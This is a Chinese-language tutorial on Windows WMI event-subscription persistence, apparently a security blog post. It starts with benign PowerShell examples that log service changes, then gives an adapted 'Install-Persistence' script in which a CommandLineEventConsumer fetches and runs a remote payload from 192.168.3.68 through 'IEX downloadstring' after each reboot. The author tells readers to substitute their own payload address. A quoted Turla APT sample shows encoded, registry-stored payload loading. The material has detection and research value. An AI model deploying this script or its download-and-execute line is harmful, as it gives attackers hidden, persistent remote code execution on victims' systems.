WMI持久性后門(powershell)(水文)
“WMI是微軟為基于Web的企業管理(WBEM)規范提供的一個實現版本,而WBEM則是一項行業計劃,旨在開發用于訪問企業環境中管理信息的標準技術。WMI使用公共信息模型(CIM)行業標準來表示系統、應用程序、網絡、設備和其他托管組件。”
實際上,所謂事件過濾器只不過就是一個WMI類,用于描述WMI向事件使用者傳遞的事件。于此同時,事件過濾器還給出了WMI傳遞事件的條件。
需要在系統上以管理員身份運行才能創建事件實例。
1.WMI事件
WMI事件一共有3個部分組成:
1.1.Filter
WMI 篩選器組件允許我們使用 Windows 管理規范 (WMI) 規則。它包含兩個類:MSFT_Rule,它定義管理范圍內的單個規則,以及MSFT_SomFilter,它提供在目標設備上評估的查詢列表。
1.2.Consumer
Consumer 類是表明了想要進行什么操作,一般是有5種Consumer 類,我們使用其中的一個(或由同一過濾器綁定的多個)來執行某種操作。
1.2.1.ActiveScriptEventConsumer
當事件傳遞給它時,以任意腳本語言執行預定義的腳本。此可在 Windows 2000 及更高版本上使用。
1.2.2.CommandLineEventConsumer
當一個事件被傳遞給它時,在本地系統上下文中啟動一個任意進程。此適用于 Windows XP 及更高版本。
1.2.3.LogFileEventConsumer
當事件發送到文本日志文件時,將自定義字符串寫入文本日志文件。此適用于 Windows XP 及更高版本。
1.2.4.NTEventLogEventConsumer
當事件被傳遞到 Windows NT 事件日志時,將特定消息記錄到 Windows NT 事件日志中。此消費者適用于 Windows XP 及更高版本。
1.2.5.SMTPEventConsumer
每次將事件傳遞給它時,都使用 SMTP 發送電子郵件。此使用者可在 Windows 2000 及更高版本上使用。
1.3.Binding
綁定實際上是將過濾器和Consumer結合在一起,一旦將這兩者綁定在一起,就可以讓 WMI 事件訂閱立即工作。要禁用現有的 WMI 訂閱,只需刪除綁定實例。
2.0.查找 WMI 實例
我們可以使用 Get-WMIObject 和由root\Subscription組成的 –Class 參數,然后指定我們希望查看的適當類
#List Event Filters Get-WMIObject -Namespace root\Subscription -Class __EventFilter

可以通過 Filter 實例的 Query 屬性判斷正在使用哪種Consumer。
#List Event Consumers Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

#List 事件綁定Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

可以從 __PATH 屬性中看到哪個 Filter 和 Consumer 用于 WMI 事件。

3.0.使用wmiclass創建 WMI 事件訂閱
創建 WMI 事件訂閱的第一種方法是利用 wmiclass 類型加速器并使用 CreateInstance() 方法。
首先,創建過濾器
#創建一個新的事件過濾器$instanceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()

然后我們需要在這個Filter 實例中添加內容,需要添加的只是 Query、QueryLanguage、EventNamespace 和一個名稱。
$instanceFilter.QueryLanguage = "WQL" $instanceFilter.Query = "select * from __instanceModificationEvent within 5 where targetInstance is a 'win32_Service'" $instanceFilter.Name = "ServiceFilter" $instanceFilter.EventNamespace = 'root\cimv2'

然后需要將此實例實際保存到 WMI 存儲庫中,可以通過 Put() 方法來做。
$result = $instanceFilter.Put() $newFilter = $result.Path

然后是創建Consumer
$instanceConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()

接下來,我將對象配置為在過濾器觸發時創建日志文件。
$instanceConsumer.Name = 'ServiceConsumer'$instanceConsumer.Filename = "C:\Scripts\Log.log"$instanceConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'

%TargetInstance.Name% 表示正在更改的服務的名稱,無論是狀態還是其他內容。
最后,我們需要將對象保存到 WMI 存儲庫中。
$result = $instanceConsumer.Put() $newConsumer = $result.Path
然后就是綁定了
$instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()

綁定在一起并保存實例
$instanceBinding.Filter = $newFilter $instanceBinding.Consumer = $newConsumer $result = $instanceBinding.Put() $newBinding = $result.Path
現在停止服務并檢查 Scripts 文件夾中的日志文件。
Stop-Service wuauserv -Verbose


4.0.使用 Set-WMIInstance創建 WMI 事件訂閱
此方法使用 –Arguments 參數,該參數接受將用于定義每個實例及其屬性的哈希表。
首先,將創建將與我的 splatting 一起使用的哈希表,這些也是不會隨每個 WMI 實例更改的通用參數。
splatting $wmiParams = @{ Computername = $env:COMPUTERNAME ErrorAction = 'Stop' NameSpace = 'root\subscription' }
接下來是過濾器的創建
$wmiParams.Class = '__EventFilter' $wmiParams.Arguments = @{ Name = 'ServiceFilter' EventNamespace = 'root\CIMV2' QueryLanguage = 'WQL' Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'" } $filterResult = Set-WmiInstance @wmiParams
繼續創建Consumer
$wmiParams.Class = 'LogFileEventConsumer'$wmiParams.Arguments = @{ Name = 'ServiceConsumer' Text = 'A change has occurred on the service: %TargetInstance.DisplayName%' FileName = "C:\Scripts\Log.log" }$consumerResult = Set-WmiInstance @wmiParams
綁定以啟用此事件訂閱
$wmiParams.Class = '__FilterToConsumerBinding'$wmiParams.Arguments = @{ Filter = $filterResult Consumer = $consumerResult }$bindingResult = Set-WmiInstance @wmiParams我們可以使用 Remove-WMIObject刪除和使用 Get-WMIObject 定位實例并通過管道傳輸到 Remove-##Removing WMI Subscriptions using Remove-WMIObject#FilterGet-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='ServiceFilter'" | Remove-WmiObject -Verbose
#ConsumerGet-WMIObject -Namespace root\Subscription -Class LogFileEventConsumer -Filter "Name='ServiceConsumer'" | Remove-WmiObject -Verbose
#BindingGet-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ServiceFilter%'" | Remove-WmiObject -Verbose
示例
<#Credits to @mattifestion forhis awesome work onWMI and Powershell Fileless Persistence. This script isan adaptation of his work.#>
function Install-Persistence{
$Payload = "<strong>((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))</strong>" $EventFilterName = 'Cleanup' $EventConsumerName = 'DataCleanup' $finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"
# Create event filter $EventFilterArgs = @{ EventNamespace = 'root/cimv2' Name = $EventFilterName Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325" QueryLanguage = 'WQL' }
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
# Create CommandLineEventConsumer $CommandLineConsumerArgs = @{ Name = $EventConsumerName CommandLineTemplate = $finalPayload } $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
# Create FilterToConsumerBinding $FilterToConsumerArgs = @{ Filter = $Filter Consumer = $Consumer } $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
#Confirm the Event Filter was created $EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'" if($EventCheck -ne $null) { Write-Host "Event Filter $EventFilterName successfully written to host" }
#Confirm the Event Consumer was created $ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'" if($ConsumerCheck -ne $null) { Write-Host "Event Consumer $EventConsumerName successfully written to host" }
#Confirm the FiltertoConsumer was created $BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'""" if($BindingCheck -ne $null){ Write-Host "Filter To Consumer Binding successfully written to host" }
}
function Remove-Persistence{ $EventFilterName = 'Cleanup' $EventConsumerName = 'DataCleanup'
# Clean up Code - Comment this code out when you are installing persistence otherwise it will
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject
}
function Check-WMI{ Write-Host "Showing All Root Event Filters" Get-WmiObject -Namespace root/subscription -Class __EventFilter
Write-Host "Showing All CommandLine Event Consumers" Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
Write-Host "Showing All Filter to Consumer Bindings" Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding}
把這個payload的地址修改為我們的就行

然后開始插入事件,一旦正常插入成功后,當目標再次重啟系統,管理員[administrator]正常登錄,稍等片刻2016可能要稍微多等會兒]當系統在后臺輪詢到我們的payload事件后,便會被觸發執行。
# powershell -exec bypassPS > Import-Module .\WMI-Persistence.ps1PS > Install-PersistencePS > Check-WMI

5.0.Turla APT的樣本
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Syslog Consumer'" | Remove-WmiObject;
$NLP35gh = Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name = 'Syslog Consumer'; CommandLineTemplate = "$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -enc $HL39fjh"; RunInteractively = 'false' };
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Log Adapter Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Log Adapter' } | Remove-WmiObject;
$IT825cd = "SELECT * FROM __instanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=15 AND TargetInstance.Minute=30 AND TargetInstance.Second=40";$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'Log Adapter Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='AD Bridge Filter'" | Remove-WmiObject;
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'AD Bridge' } | Remove-WmiObject;$IT825cd = "SELECT * FROM __instanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400";$VQI79dcf = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{ name = 'AD Bridge Filter'; EventNameSpace = 'root\CimV2'; QueryLanguage = 'WQL'; Query = $IT825cd };
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $VQI79dcf; Consumer = $NLP35gh };
這里創建兩個 WMI事件過濾器和兩個 WMI事件Consumer,Consumer啟動 base64 編碼的 PowerShell 命令的命令行,然后加載存儲在 Windows 注冊表中的大型 PowerShell 腳本。
這些事件將分別在 15:30:40 和系統正常運行時間在 300 到 400 秒之間運行。變量$HL39fjh包含 base64 編碼的 PowerShell 命令,讀取存儲加密負載的 Windows 注冊表項,并包含解密負載所需的密碼和鹽。
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("<base64-encoded password and salt">)) | iex ;[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((Get-ItemProperty '$ZM172da').'$WY79ad')) | iex
最后,腳本將加密的有效負載存儲在 Windows 注冊表中,在樣本中,攻擊者似乎對每個目標使用不同的注冊表位置。